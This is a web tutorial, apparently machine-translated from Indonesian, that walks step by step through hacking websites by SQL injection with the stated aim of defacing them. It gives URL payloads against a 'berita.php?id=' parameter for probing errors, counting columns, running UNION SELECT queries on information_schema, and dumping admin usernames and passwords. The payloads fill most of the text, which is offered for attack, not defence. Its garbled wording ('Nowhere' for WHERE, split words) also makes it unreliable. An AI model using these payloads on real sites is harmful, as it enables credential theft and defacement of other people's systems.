hacking a website with SQL injection (for which deface learn mo)

Understanding sql injection:
SQL injection is a hacking acts that performed at the client application by modifying the SQL command that is in memory clien application and also the technique of exploiting web applications that includes using a database for data storage.





Enlarge this imageReduce this image Click to see fullsize

http://t2.gstatic.com/images?q=tbn:ANd9GcTn96H-Qy7uENhER1o-Mshu_9H1kF5gdG-EQG60KS0PQ8YsQ74YkAYang need to know before sql injection in mysql:
character: 'or -
comments: / * or -
information_schema to version: mysql version 5.x, no support for mysql version 4.x

===========
= Step One: =
===========

find the target
eg: [site] / berita.php? id = 100

Add character 'at the end of the url or add the character "-" to see if any error messages.
For example:
Code:
[Site] / berita.php? Id = 100 'or
[Site] / berita.php? Id =- 100

so the error message like the following (still many again):


==========
= Step Two: =
==========

find and count the number of tables that exist in the database ...
use the command: order by

For example:
Code:
[Site] / berita.php? Id =- 100 + order + by +1- - or
[Site] / berita.php? Id =- 100 + order + by +1 / *

check the a step by step (satupersatu) ...
example:
Code:
[Site] / berita.php? Id =- 100 + order + by +1- -
[Site] / berita.php? Id =- 100 + order + by +2- -
[Site] / berita.php? Id =- 100 + order + by +3- -
[Site] / berita.php? Id =- 100 + order + by +4- -

so there is an error or missing error message ...
eg: [site] / berita.php? id =- 100 + order + by +9- -

means that we take is up to number 8
a [site] / berita.php? id =- 100 + order + by +8- -


===========
= Step Three: =
===========

to issue any number that appears to use command union
because it was an error until the number 9
then: [site] / berita.php? id =- 100 + union + select +1,2,3,4,5,6,7,8 -

ok is like a distinguished exit number 5

use the version command () or @ @ version to check which version of sql command input diapakai tsb on nagka wrote out earlier
eg: [site] / berita.php? id =- 100 + union + select +1,2,3,4, version () ,6,7,8 - or
[Site] / berita.php? Id =- 100 + union + select +1,2,3,4, @ @ version ,6,7,8 -

see the version in use is like version 4 ver leave it out because in this 4 we have to guess its own table column n imaginable on the web is because they can not use command + Information_schema From ..

to version 5 means you are lucky not have to guess the n column table like ver ver 4 because in this 5 can use the command From + Information_schema ..


===========
= Step Four: =
===========

to display all the contents of the table is tsb
group_concat command (table_name)>>> included in the figures which came out earlier
command + from + information_schema.tables + Nowhere + table_schema = database ()>>> inserted after the last digit

Code:
[Site] / berita.php? Id =- 100 + union + select +1,2,3,4, group_concat (table_name), 6,7,8 + from + information_schema.tables + Nowhere + table_s chema = database () -

=============
= Step Five: =
=============

group_concat command (column_name)>>> included in the figures which came out earlier
command + from + information_schema.columns + WHERE + table_name = 0xhexa ->>> inserted after the last digit

Code:
[Site] / berita.php? Id =- 100 + union + select +1,2,3,4, group_concat (column_name), 6,7,8 + from + information_schema.columns + Nowhere + table _name = 0xhexa -

at this stage you must mengextrak words on a hexadecimal table content that is by converting
website which is used for conversion http://www.palembanghackerlink.com/ascii-h4.htm
For example in the covetous word conversion is admin then it will be 61646D696E

Code:
[Site] / berita.php? Id =- 100 + union + select +1,2,3,4, group_concat (column_name), 6,7,8 + from + information_schema.columns + Nowhere + table _name = 0x61646D696E -

============
= Step Six: =
============

bring up what had been excluded from the table that is the way

concat_ws command (0x3a, the contents of column who want removed)>>> included in the figures which came out earlier
command + from + (the name derived table)>>> inserted after the last digit

Code:
[Site] / berita.php? Id =- 100 + union + select +1,2,3,4, concat_ws (0x3a, the contents of column), 6,7,8 + from + (table name derived) -

examples of words that come out are id, username, password

Code:
[Site] / berita.php? Id =- 100 + union + select +1,2,3,4, concat_ws (0x3a, id, usernam e, password), 6,7,8 + from + admin -

==============
= Step Seven: =
==============

last stage of looking for admin or login pages.

Read More